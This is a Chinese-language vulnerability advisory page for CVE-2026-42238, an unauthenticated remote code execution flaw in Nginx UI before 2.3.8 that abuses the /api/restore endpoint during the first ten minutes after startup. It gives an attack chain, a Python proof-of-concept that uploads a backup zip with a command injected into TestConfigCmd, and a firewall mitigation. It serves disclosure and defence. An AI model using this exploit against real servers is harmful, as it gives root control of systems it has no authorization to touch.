IPBUF安全漏洞报告
English
CVE-2026-42238 CVSS 9.8 严重

CVE-2026-42238 Nginx UI未授权RCE漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42238
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nginx UI

相关标签

RCENginx UI命令注入认证绕过0-day

漏洞概述

Nginx UI在2.3.8版本之前存在严重漏洞。攻击者可在安装后前10分钟内,无需认证访问备份恢复接口,上传恶意备份文件覆盖配置。利用此漏洞可注入任意系统命令,导致服务器被完全控制。

技术细节

该漏洞的核心逻辑在于Nginx UI在初始化阶段存在一个时间窗口内的认证绕过机制。在进程启动后的前10分钟内,系统未对`POST /api/restore`接口实施访问控制。攻击者利用这一窗口,可构造特制的恶意备份压缩包。该压缩包包含被篡改的`app.ini`配置文件。当系统执行恢复操作时,恶意配置会覆盖原有文件。关键在于`app.ini`中的`TestConfigCmd`参数,攻击者可在此处注入恶意的操作系统命令。当应用自动重启以应用新配置后,攻击者发送请求触发配置测试流程,即可导致恶意命令以应用运行身份(通常是Docker环境下的root用户)执行,从而获取服务器最高权限。

攻击链分析

STEP 1
1. 侦察与定位
攻击者扫描网络,寻找新部署的Nginx UI实例(通常在启动后10分钟内)。
STEP 2
2. 构造恶意载荷
攻击者创建一个包含修改后的`app.ini`的压缩包,其中注入了OS命令到`TestConfigCmd`字段。
STEP 3
3. 上传备份文件
攻击者向未授权的`/api/restore`端点发送POST请求,上传恶意备份文件。
STEP 4
4. 触发命令执行
应用重启加载新配置,攻击者发送请求触发配置测试,导致注入的命令以Root权限执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import zipfile import io # Target URL target_url = "http://target-ip:port" # 1. Create malicious app.ini content with command injection malicious_config = """[server] TestConfigCmd = touch /tmp/pwned """ # 2. Create a zip file mimicking a backup zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zipf: zipf.writestr('app.ini', malicious_config) zip_buffer.seek(0) # 3. Upload the malicious backup (Exploits the unauthenticated endpoint) restore_url = f"{target_url}/api/restore" files = {'file': ('backup.zip', zip_buffer, 'application/zip')} print("[*] Uploading malicious backup...") r = requests.post(restore_url, files=files) if r.status_code == 200: print("[+] Backup uploaded successfully. Waiting for restart or triggering configuration test...") # Note: The application restarts automatically or the attacker waits. # After restart, a request to any endpoint triggering config test executes the command. else: print("[-] Upload failed.")

影响范围

Nginx UI < 2.3.8

防御指南

临时缓解措施
若无法立即升级,应在部署后的前10分钟内通过防火墙限制对`/api/restore`路径的访问,或确保不在此期间将服务暴露于不可信网络。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表